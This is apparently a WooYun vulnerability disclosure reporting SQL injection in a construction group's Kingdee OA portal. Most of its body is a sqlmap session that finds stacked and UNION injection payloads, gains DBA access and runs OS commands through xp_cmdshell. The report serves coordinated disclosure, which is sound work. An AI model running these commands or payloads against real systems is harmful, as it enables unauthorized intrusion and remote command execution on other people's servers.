当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157706

漏洞标题:坤和集团某OA系统SQL注入(DBA权限,已getshell)

相关厂商:杭州坤和建设集团股份有限公司

漏洞作者: 路人甲

提交时间:2015-12-04 00:14

修复时间:2016-01-22 11:14

公开时间:2016-01-22 11:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-28: 细节向普通白帽子公开
2016-01-07: 细节向实习白帽子公开
2016-01-22: 细节向公众公开

简要描述:

坤和集团某OA系统SQL注入(DBA权限,已getshell)

详细说明:

**.**.**.**:8080/kingdee/portal/portal_info.jsp?id=1

xy@kali:~$ sudo sqlmap -u **.**.**.**:8080/kingdee/portal/portal_info.jsp?id=1 --os-shell
sudo:/etc/sudoers.d/fruitywifi 属于用户 ID 1000,应为 0
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150922}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:11:52
[18:11:52] [INFO] testing connection to the target URL
[18:11:53] [INFO] testing if the target URL is stable
[18:11:54] [INFO] target URL is stable
[18:11:54] [INFO] testing if GET parameter 'id' is dynamic
[18:11:54] [WARNING] GET parameter 'id' does not appear dynamic
[18:11:54] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[18:11:54] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[18:11:54] [INFO] testing for SQL injection on GET parameter 'id'
[18:11:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:11:54] [WARNING] reflective value(s) found and filtering out
[18:11:56] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[18:11:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:11:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:11:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:12:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:12:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[18:12:01] [INFO] testing 'MySQL inline queries'
[18:12:01] [INFO] testing 'PostgreSQL inline queries'
[18:12:01] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:12:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[18:12:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[18:12:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[18:12:13] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n]
[18:12:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:12:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:12:21] [INFO] target URL appears to be UNION injectable with 7 columns
[18:12:22] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-1537 UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(98)+CHAR(113)+CHAR(113)+CHAR(76)+CHAR(100)+CHAR(108)+CHAR(76)+CHAR(114)+CHAR(97)+CHAR(102)+CHAR(82)+CHAR(108)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL--
---
[18:12:24] [INFO] testing Microsoft SQL Server
[18:12:25] [INFO] confirming Microsoft SQL Server
[18:12:25] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[18:12:25] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[18:12:26] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
[18:12:27] [INFO] testing if current user is DBA
[18:12:27] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[18:12:48] [INFO] xp_cmdshell extended procedure is available
[18:12:48] [INFO] testing if xp_cmdshell extended procedure is usable
[18:12:48] [INFO] the SQL query used returns 1 entries
[18:12:49] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:12:49] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[18:12:59] [INFO] adjusting time delay to 1 second due to good response times
[18:13:12] [INFO] xp_cmdshell extended procedure is usable
[18:13:12] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[18:13:12] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ver
do you want to retrieve the command standard output? [Y/n/a]
[18:13:17] [INFO] the SQL query used returns 1 entries
[18:13:17] [INFO] retrieved: 3
[18:13:21] [INFO] retrieved:
[18:13:29] [INFO] retrieved: Microsoft Windows [䡲Ⱨ 5.2.3790]
[18:17:09] [INFO] retrieved:
command standard output: 'Microsoft Windows [䡲Ⱨ 5.2.3790]'
os-shell>

漏洞证明:

注入点证明:

2015-12-02 18:24:52屏幕截图.png


shell证明:
执行var命令

2015-12-02 18:25:00屏幕截图.png

修复方案:

过滤或升级

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-12-08 13:12

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无